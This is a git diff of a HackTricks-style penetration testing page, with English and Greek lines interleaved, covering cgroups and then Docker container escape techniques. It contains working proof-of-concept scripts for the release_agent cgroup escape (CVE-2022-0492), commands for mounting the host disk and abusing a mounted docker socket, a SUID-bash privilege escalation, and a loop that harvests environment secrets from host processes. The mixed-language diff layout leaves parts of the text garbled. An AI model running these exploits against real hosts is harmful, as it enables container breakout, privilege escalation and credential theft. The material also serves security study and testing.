- Οι **ονομασίες είναι ιεραρχικές**, που μοιάζουν με διαδρομές αρχείων, υποδεικνύοντας τη δομή και τη σχέση μεταξύ διαφορετικών cgroups.
- **Ονομασίες όπως /user.slice ή /system.slice** καθορίζουν την κατηγοριοποίηση των cgroups, με το user.slice συνήθως για συνεδρίες σύνδεσης που διαχειρίζεται το systemd και το system.slice για υπηρεσίες συστήματος.
- **Numbers 212**: cgroups v1, with each line representing a different cgroup. Controllers for these are specified adjacent to the number.
- **Number 1**: Also cgroups v1, but solely for management purposes (set by, e.g., systemd), and lacks a controller.
- **Number 0**: Represents cgroups v2. No controllers are listed, and this line is exclusive on systems only running cgroups v2.
- The **names are hierarchical**, resembling file paths, indicating the structure and relationship between different cgroups.
- **Names like /user.slice or /system.slice** specify the categorization of cgroups, with user.slice typically for login sessions managed by systemd and system.slice for system services.
### Προβολή cgroups
### Viewing cgroups
The filesystem is typically utilized for accessing **cgroups**, diverging from the Unix system call interface traditionally used for kernel interactions. To investigate a shell's cgroup configuration, one should examine the **/proc/self/cgroup** file, which reveals the shell's cgroup. Then, by navigating to the **/sys/fs/cgroup** (or **`/sys/fs/cgroup/unified`**) directory and locating a directory that shares the cgroup's name, one can observe various settings and resource usage information pertinent to the cgroup.
Το σύστημα αρχείων χρησιμοποιείται συνήθως για την πρόσβαση σε **cgroups**, αποκλίνουσα από τη διεπαφή κλήσεων συστήματος Unix που χρησιμοποιείται παραδοσιακά για αλληλεπιδράσεις με τον πυρήνα. Για να εξετάσετε τη διαμόρφωση cgroup ενός shell, θα πρέπει να ελέγξετε το αρχείο **/proc/self/cgroup**, το οποίο αποκαλύπτει το cgroup του shell. Στη συνέχεια, πλοηγούμενοι στον κατάλογο **/sys/fs/cgroup** (ή **`/sys/fs/cgroup/unified`**) και εντοπίζοντας έναν κατάλογο που μοιράζεται το όνομα του cgroup, μπορεί κανείς να παρατηρήσει διάφορες ρυθμίσεις και πληροφορίες χρήσης πόρων σχετικές με το cgroup.
![Cgroup Filesystem](<../../../images/image (1128).png>)
The key interface files for cgroups are prefixed with **cgroup**. The **cgroup.procs** file, which can be viewed with standard commands like cat, lists the processes within the cgroup. Another file, **cgroup.threads**, includes thread information.
Τα κύρια αρχεία διεπαφής για τα cgroups έχουν πρόθεμα **cgroup**. Το αρχείο **cgroup.procs**, το οποίο μπορεί να προβληθεί με τυπικές εντολές όπως cat, απαριθμεί τις διαδικασίες εντός του cgroup. Ένα άλλο αρχείο, **cgroup.threads**, περιλαμβάνει πληροφορίες για τα νήματα.
![Cgroup Procs](<../../../images/image (281).png>)
Cgroups managing shells typically encompass two controllers that regulate memory usage and process count. To interact with a controller, files bearing the controller's prefix should be consulted. For instance, **pids.current** would be referenced to ascertain the count of threads in the cgroup.
Τα cgroups που διαχειρίζονται shells συνήθως περιλαμβάνουν δύο ελεγκτές που ρυθμίζουν τη χρήση μνήμης και τον αριθμό διαδικασιών. Για να αλληλεπιδράσετε με έναν ελεγκτή, θα πρέπει να συμβουλευτείτε αρχεία που φέρουν το πρόθεμα του ελεγκτή. Για παράδειγμα, το **pids.current** θα αναφερόταν για να προσδιορίσει τον αριθμό των νημάτων στο cgroup.
![Cgroup Memory](<../../../images/image (677).png>)
The indication of **max** in a value suggests the absence of a specific limit for the cgroup. However, due to the hierarchical nature of cgroups, limits might be imposed by a cgroup at a lower level in the directory hierarchy.
Η ένδειξη **max** σε μια τιμή υποδηλώνει την απουσία συγκεκριμένου ορίου για το cgroup. Ωστόσο, λόγω της ιεραρχικής φύσης των cgroups, όρια μπορεί να επιβληθούν από ένα cgroup σε χαμηλότερο επίπεδο στην ιεραρχία καταλόγων.
### Manipulating and Creating cgroups
Processes are assigned to cgroups by **writing their Process ID (PID) to the `cgroup.procs` file**. This requires root privileges. For instance, to add a process:
### Χειρισμός και Δημιουργία cgroups
Οι διαδικασίες ανατίθενται σε cgroups **γράφοντας το Αναγνωριστικό Διαδικασίας (PID) στο αρχείο `cgroup.procs`**. Αυτό απαιτεί δικαιώματα root. Για παράδειγμα, για να προσθέσετε μια διαδικασία:
```bash
echo [pid] > cgroup.procs
```
Similarly, **modifying cgroup attributes, like setting a PID limit**, is done by writing the desired value to the relevant file. To set a maximum of 3,000 PIDs for a cgroup:
Ομοίως, **η τροποποίηση των χαρακτηριστικών cgroup, όπως η ρύθμιση ενός ορίου PID**, γίνεται γράφοντας την επιθυμητή τιμή στο σχετικό αρχείο. Για να ορίσετε ένα μέγιστο 3.000 PIDs για ένα cgroup:
```bash
echo 3000 > pids.max
```
**Η δημιουργία νέων cgroups** περιλαμβάνει τη δημιουργία ενός νέου υποκαταλόγου μέσα στην ιεραρχία cgroup, που προκαλεί τον πυρήνα να δημιουργήσει αυτόματα τα απαραίτητα αρχεία διεπαφής. Αν και τα cgroups χωρίς ενεργές διεργασίες μπορούν να αφαιρεθούν με το `rmdir`, να είστε προσεκτικοί με ορισμένους περιορισμούς:
**Creating new cgroups** involves making a new subdirectory within the cgroup hierarchy, which prompts the kernel to automatically generate necessary interface files. Though cgroups without active processes can be removed with `rmdir`, be aware of certain constraints:
- **Processes can only be placed in leaf cgroups** (i.e., the most nested ones in a hierarchy).
- **A cgroup cannot possess a controller absent in its parent**.
- **Controllers for child cgroups must be explicitly declared** in the `cgroup.subtree_control` file. For example, to enable CPU and PID controllers in a child cgroup:
- **Οι διεργασίες μπορούν να τοποθετηθούν μόνο σε leaf cgroups** (δηλαδή, τα πιο εσωτερικά στην ιεραρχία).
- **Ένα cgroup δεν μπορεί να έχει έναν ελεγκτή που να απουσιάζει από τον γονέα του**.
- **Οι ελεγκτές για τα child cgroups πρέπει να δηλώνονται ρητά** στο αρχείο `cgroup.subtree_control`. Για παράδειγμα, για να ενεργοποιήσετε τους ελεγκτές CPU και PID σε ένα child cgroup:
```bash
echo "+cpu +pids" > cgroup.subtree_control
```
Ο **root cgroup** είναι μια εξαίρεση σε αυτούς τους κανόνες, επιτρέποντας άμεση τοποθέτηση διαδικασιών. Αυτό μπορεί να χρησιμοποιηθεί για την αφαίρεση διαδικασιών από τη διαχείριση του systemd.
The **root cgroup** is an exception to these rules, allowing direct process placement. This can be used to remove processes from systemd management.
**Η παρακολούθηση της χρήσης CPU** εντός ενός cgroup είναι δυνατή μέσω του αρχείου `cpu.stat`, το οποίο εμφανίζει τον συνολικό χρόνο CPU που καταναλώθηκε, χρήσιμο για την παρακολούθηση της χρήσης σε υποδιαδικασίες μιας υπηρεσίας:
**Monitoring CPU usage** within a cgroup is possible through the `cpu.stat` file, displaying total CPU time consumed, helpful for tracking usage across a service's subprocesses:
<figure><img src="../../../images/image (908).png" alt=""><figcaption><p>CPU usage statistics as shown in the cpu.stat file</p></figcaption></figure>
<figure><img src="../../../images/image (908).png" alt=""><figcaption><p>Στατιστικά χρήσης CPU όπως εμφανίζονται στο αρχείο cpu.stat</p></figcaption></figure>
## References

View File

@ -2,35 +2,24 @@
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
## Αυτόματη Αρίθμηση & Διαφυγή
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Μπορεί επίσης να **αριθμήσει τα κοντέινερ**
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Αυτό το εργαλείο είναι αρκετά **χρήσιμο για να αριθμήσει το κοντέινερ στο οποίο βρίσκεστε και να προσπαθήσει να διαφύγει αυτόματα**
- [**amicontained**](https://github.com/genuinetools/amicontained): Χρήσιμο εργαλείο για να αποκτήσετε τα δικαιώματα που έχει το κοντέινερ προκειμένου να βρείτε τρόπους να διαφύγετε από αυτό
- [**deepce**](https://github.com/stealthcopter/deepce): Εργαλείο για να αριθμήσετε και να διαφύγετε από κοντέινερ
- [**grype**](https://github.com/anchore/grype): Αποκτήστε τα CVEs που περιέχονται στο λογισμικό που είναι εγκατεστημένο στην εικόνα
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
## Automatic Enumeration & Escape
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers**
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically**
- [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it
- [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers
- [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image
## Mounted Docker Socket Escape
If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
## Διαφυγή από το Εγκατεστημένο Docker Socket
Αν με κάποιο τρόπο διαπιστώσετε ότι το **docker socket είναι εγκατεστημένο** μέσα στο κοντέινερ docker, θα μπορείτε να διαφύγετε από αυτό.\
Αυτό συμβαίνει συνήθως σε κοντέινερ docker που για κάποιο λόγο χρειάζονται να συνδεθούν με το docker daemon για να εκτελέσουν ενέργειες.
```bash
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
```
In this case you can use regular docker commands to communicate with the docker daemon:
Σε αυτή την περίπτωση μπορείτε να χρησιμοποιήσετε κανονικές εντολές docker για να επικοινωνήσετε με τον docker daemon:
```bash
#List images to use one
docker images
@ -44,14 +33,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
> [!NOTE]
> Σε περίπτωση που το **docker socket είναι σε απροσδόκητη τοποθεσία**, μπορείτε να επικοινωνήσετε μαζί του χρησιμοποιώντας την εντολή **`docker`** με την παράμετρο **`-H unix:///path/to/docker.sock`**
Ο Docker daemon μπορεί επίσης να [ακούει σε μια θύρα (κατά προεπιλογή 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ή σε συστήματα βασισμένα σε Systemd, η επικοινωνία με τον Docker daemon μπορεί να γίνει μέσω του socket Systemd `fd://`.
> [!NOTE]
> In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`**
Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`.
> [!NOTE]
> Additionally, pay attention to the runtime sockets of other high-level runtimes:
> Επιπλέον, δώστε προσοχή στα runtime sockets άλλων υψηλού επιπέδου runtimes:
>
> - dockershim: `unix:///var/run/dockershim.sock`
> - containerd: `unix:///run/containerd/containerd.sock`
@ -60,25 +48,23 @@ Docker daemon might be also [listening in a port (by default 2375, 2376)](../../
> - rktlet: `unix:///var/run/rktlet.sock`
> - ...
## Capabilities Abuse Escape
## Κατάχρηση Δικαιωμάτων Διαφυγής
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
You can check currently container capabilities using **previously mentioned automatic tools** or:
Πρέπει να ελέγξετε τα δικαιώματα του κοντέινερ, αν έχει οποιοδήποτε από τα παρακάτω, μπορεί να είστε σε θέση να διαφύγετε από αυτό: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
Μπορείτε να ελέγξετε τα τρέχοντα δικαιώματα του κοντέινερ χρησιμοποιώντας **τα προηγουμένως αναφερόμενα αυτόματα εργαλεία** ή:
```bash
capsh --print
```
In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges:
Στην παρακάτω σελίδα μπορείτε να **μάθετε περισσότερα για τις δυνατότητες του linux** και πώς να τις εκμεταλλευτείτε για να ξεφύγετε/ανεβάσετε δικαιώματα:
{{#ref}}
../../linux-capabilities.md
{{#endref}}
## Escape from Privileged Containers
## Διαφυγή από Προνομιακά Κοντέινερ
A privileged container can be created with the flag `--privileged` or disabling specific defenses:
Ένα προνομιακό κοντέινερ μπορεί να δημιουργηθεί με την επιλογή `--privileged` ή απενεργοποιώντας συγκεκριμένες άμυνες:
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
@ -90,51 +76,44 @@ A privileged container can be created with the flag `--privileged` or disabling
- `--cgroupns=host`
- `Mount /dev`
The `--privileged` flag significantly lowers container security, offering **unrestricted device access** and bypassing **several protections**. For a detailed breakdown, refer to the documentation on `--privileged`'s full impacts.
Η επιλογή `--privileged` μειώνει σημαντικά την ασφάλεια του κοντέινερ, προσφέροντας **απεριόριστη πρόσβαση σε συσκευές** και παρακάμπτοντας **πολλές προστασίες**. Για λεπτομερή ανάλυση, ανατρέξτε στην τεκμηρίωση σχετικά με τις πλήρεις επιπτώσεις της επιλογής `--privileged`.
{{#ref}}
../docker-privileged.md
{{#endref}}
### Privileged + hostPID
### Προνομιακό + hostPID
With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Test it in a container executing:
Με αυτές τις άδειες μπορείτε απλά να **μετακινηθείτε στο namespace μιας διαδικασίας που εκτελείται στον host ως root** όπως το init (pid:1) απλά εκτελώντας: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Δοκιμάστε το σε ένα κοντέινερ εκτελώντας:
```bash
docker run --rm -it --pid=host --privileged ubuntu bash
```
### Privileged
Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release_agent or other escapes**.
Test the following bypasses in a container executing:
Μόνο με την σημαία privileged μπορείτε να προσπαθήσετε να **πρόσβαση στον δίσκο του host** ή να προσπαθήσετε να **ξεφύγετε εκμεταλλευόμενοι το release_agent ή άλλες διαφυγές**.
Δοκιμάστε τους παρακάτω παρακάμψεις σε ένα κοντέινερ εκτελώντας:
```bash
docker run --rm -it --privileged ubuntu bash
```
#### Mounting Disk - Poc1
Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive.
Καλά ρυθμισμένα docker containers δεν θα επιτρέψουν εντολές όπως **fdisk -l**. Ωστόσο, σε κακώς ρυθμισμένη docker εντολή όπου η σημαία `--privileged` ή `--device=/dev/sda1` με κεφαλαία έχει καθοριστεί, είναι δυνατόν να αποκτηθούν τα δικαιώματα για να δούμε τον δίσκο του host.
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
So to take over the host machine, it is trivial:
Έτσι, για να αναλάβετε τη μηχανή host, είναι απλό:
```bash
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
```
Και voilà! Τώρα μπορείτε να έχετε πρόσβαση στο σύστημα αρχείων του host γιατί είναι τοποθετημένο στον φάκελο `/mnt/hola`.
And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder.
#### Mounting Disk - Poc2
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
#### Τοποθέτηση Δίσκου - Poc2
Μέσα στο κοντέινερ, ένας επιτιθέμενος μπορεί να προσπαθήσει να αποκτήσει περαιτέρω πρόσβαση στο υποκείμενο λειτουργικό σύστημα του host μέσω ενός εγγράψιμου hostPath volume που δημιουργήθηκε από το cluster. Παρακάτω είναι μερικά κοινά πράγματα που μπορείτε να ελέγξετε μέσα στο κοντέινερ για να δείτε αν μπορείτε να εκμεταλλευτείτε αυτόν τον επιθετικό διανύσμα:
```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
@ -155,9 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
```
#### Privileged Escape Abusing existent release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
#### Privileged Escape Κατάχρηση υπάρχοντος release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
```bash:Initial PoC
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
@ -191,9 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# Reads the output
cat /o
```
#### Privileged Escape Abusing created release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
#### Εκμετάλλευση Προνομιακής Διαφυγής μέσω της δημιουργίας release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
```bash:Second PoC
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
@ -235,21 +210,19 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
Find an **explanation of the technique** in:
Βρείτε μια **εξήγηση της τεχνικής** στο:
{{#ref}}
docker-release_agent-cgroups-escape.md
{{#endref}}
#### Privileged Escape Abusing release_agent without known the relative path - PoC3
#### Privileged Escape Abusing release_agent χωρίς να γνωρίζετε τη σχετική διαδρομή - PoC3
In the previous exploits the **absolute path of the container inside the hosts filesystem is disclosed**. However, this isnt always the case. In cases where you **dont know the absolute path of the container inside the host** you can use this technique:
Στα προηγούμενα exploits, η **απόλυτη διαδρομή του κοντέινερ μέσα στο σύστημα αρχείων του host αποκαλύπτεται**. Ωστόσο, αυτό δεν ισχύει πάντα. Σε περιπτώσεις όπου **δεν γνωρίζετε την απόλυτη διαδρομή του κοντέινερ μέσα στον host**, μπορείτε να χρησιμοποιήσετε αυτή την τεχνική:
{{#ref}}
release_agent-exploit-relative-paths-to-pids.md
{{#endref}}
```bash
#!/bin/sh
@ -288,20 +261,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
@ -309,9 +282,7 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
Executing the PoC within a privileged container should provide output similar to:
Η εκτέλεση του PoC μέσα σε ένα προνομιούχο κοντέινερ θα πρέπει να παρέχει έξοδο παρόμοια με:
```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
@ -339,37 +310,33 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
```
#### Εκμετάλλευση Προνομιακής Διαφυγής μέσω Ευαίσθητων Μοντάρων
#### Privileged Escape Abusing Sensitive Mounts
Υπάρχουν αρκετά αρχεία που μπορεί να είναι μονταρισμένα και να δίνουν **πληροφορίες για τον υποκείμενο host**. Ορισμένα από αυτά μπορεί να υποδεικνύουν **κάτι που θα εκτελείται από τον host όταν συμβεί κάτι** (το οποίο θα επιτρέψει σε έναν επιτιθέμενο να διαφύγει από το κοντέινερ).\
Η εκμετάλλευση αυτών των αρχείων μπορεί να επιτρέψει:
There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\
The abuse of these files may allow that:
- release_agent (already covered before)
- release_agent (έχει καλυφθεί ήδη)
- [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc)
- [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern)
- [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper)
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
However, you can find **other sensitive files** to check for in this page:
Ωστόσο, μπορείτε να βρείτε **άλλα ευαίσθητα αρχεία** για να ελέγξετε σε αυτή τη σελίδα:
{{#ref}}
sensitive-mounts.md
{{#endref}}
### Arbitrary Mounts
In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasnt correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized_keys…
### Αυθαίρετα Μοντάρισμα
Σε πολλές περιπτώσεις θα διαπιστώσετε ότι το **κοντέινερ έχει κάποιον όγκο μονταρισμένο από τον host**. Εάν αυτός ο όγκος δεν έχει ρυθμιστεί σωστά, μπορεί να είστε σε θέση να **πρόσβαση/τροποποιήσετε ευαίσθητα δεδομένα**: Διαβάστε μυστικά, αλλάξτε ssh authorized_keys…
```bash
docker run --rm -it -v /:/host ubuntu bash
```
### Privilege Escalation with 2 shells and host mount
If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\
You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc.
Αν έχετε πρόσβαση ως **root μέσα σε ένα κοντέινερ** που έχει κάποιον φάκελο από τον host τοποθετημένο και έχετε **διαφύγει ως μη προνομιούχος χρήστης στον host** και έχετε δικαιώματα ανάγνωσης πάνω από τον τοποθετημένο φάκελο.\
Μπορείτε να δημιουργήσετε ένα **bash suid αρχείο** στον **τοποθετημένο φάκελο** μέσα στο **κοντέινερ** και να **το εκτελέσετε από τον host** για privesc.
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -377,16 +344,14 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
### Privilege Escalation with 2 shells
If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**.
Αν έχετε πρόσβαση ως **root μέσα σε ένα container** και έχετε **διαφύγει ως μη προνομιούχος χρήστης στον host**, μπορείτε να εκμεταλλευτείτε και τα δύο shells για **privesc μέσα στον host** αν έχετε την ικανότητα MKNOD μέσα στο container (είναι από προεπιλογή) όπως [**εξηγείται σε αυτή την ανάρτηση**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Με αυτή την ικανότητα, ο χρήστης root μέσα στο container επιτρέπεται να **δημιουργεί αρχεία συσκευών μπλοκ**. Τα αρχεία συσκευών είναι ειδικά αρχεία που χρησιμοποιούνται για **πρόσβαση σε υποκείμενο υλικό & kernel modules**. Για παράδειγμα, το αρχείο συσκευής μπλοκ /dev/sda δίνει πρόσβαση για **ανάγνωση των ακατέργαστων δεδομένων στον δίσκο του συστήματος**.
Docker safeguards against block device misuse within containers by enforcing a cgroup policy that **blocks block device read/write operations**. Nevertheless, if a block device is **created inside the container**, it becomes accessible from outside the container via the **/proc/PID/root/** directory. This access requires the **process owner to be the same** both inside and outside the container.
**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
Το Docker προστατεύει από την κακή χρήση των αρχείων συσκευών μπλοκ μέσα σε containers επιβάλλοντας μια πολιτική cgroup που **μπλοκάρει τις λειτουργίες ανάγνωσης/εγγραφής αρχείων συσκευών μπλοκ**. Παρ' όλα αυτά, αν ένα αρχείο συσκευής μπλοκ **δημιουργηθεί μέσα στο container**, γίνεται προσβάσιμο από έξω από το container μέσω του **/proc/PID/root/** καταλόγου. Αυτή η πρόσβαση απαιτεί ο **ιδιοκτήτης της διαδικασίας να είναι ο ίδιος** τόσο μέσα όσο και έξω από το container.
**Exploitation** παράδειγμα από αυτή την [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash
# On the container as root
cd /
@ -422,19 +387,15 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
```
### hostPID
If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab:
Αν μπορείτε να έχετε πρόσβαση στις διεργασίες του host, θα μπορείτε να αποκτήσετε πρόσβαση σε πολλές ευαίσθητες πληροφορίες που είναι αποθηκευμένες σε αυτές τις διεργασίες. Εκτελέστε το test lab:
```
docker run --rm -it --pid=host ubuntu bash
```
Για παράδειγμα, θα μπορείτε να καταγράψετε τις διεργασίες χρησιμοποιώντας κάτι όπως `ps auxn` και να αναζητήσετε ευαίσθητες λεπτομέρειες στις εντολές.
For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands.
Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running:
Στη συνέχεια, καθώς μπορείτε **να έχετε πρόσβαση σε κάθε διεργασία του host στο /proc/ μπορείτε απλά να κλέψετε τα env secrets τους** εκτελώντας:
```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
@ -443,9 +404,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...
```
You can also **access other processes file descriptors and read their open files**:
Μπορείτε επίσης να **έχετε πρόσβαση στους περιγραφείς αρχείων άλλων διεργασιών και να διαβάσετε τα ανοιχτά τους αρχεία**:
```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
@ -455,91 +414,76 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
```
You can also **kill processes and cause a DoS**.
Μπορείτε επίσης να **τερματίσετε διεργασίες και να προκαλέσετε DoS**.
> [!WARNING]
> If you somehow have privileged **access over a process outside of the container**, you could run something like `nsenter --target <pid> --all` or `nsenter --target <pid> --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.**
> Εάν έχετε κάπως προνομιακή **πρόσβαση σε μια διεργασία εκτός του κοντέινερ**, θα μπορούσατε να εκτελέσετε κάτι όπως `nsenter --target <pid> --all` ή `nsenter --target <pid> --mount --net --pid --cgroup` για να **εκτελέσετε ένα shell με τους ίδιους περιορισμούς ns** (ελπίζουμε κανέναν) **όπως αυτή η διεργασία.**
### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
Αν ένα κοντέινερ έχει ρυθμιστεί με τον Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), το δίκτυο του κοντέινερ δεν είναι απομονωμένο από τον Docker host (το κοντέινερ μοιράζεται το namespace δικτύωσης του host) και το κοντέινερ δεν αποκτά τη δική του διεύθυνση IP. Με άλλα λόγια, το **κοντέινερ δένει όλες τις υπηρεσίες απευθείας στη διεύθυνση IP του host**. Επιπλέον, το κοντέινερ μπορεί να **παρακολουθεί ΟΛΗ την κυκλοφορία δικτύου που στέλνει και λαμβάνει ο host** στην κοινή διεπαφή `tcpdump -i eth0`.
If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`.
Για παράδειγμα, μπορείτε να το χρησιμοποιήσετε για να **παρακολουθήσετε και ακόμη και να παραποιήσετε την κυκλοφορία** μεταξύ του host και της μεταδεδομένων.
For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance.
Like in the following examples:
Όπως στα παρακάτω παραδείγματα:
- [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
- [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access).
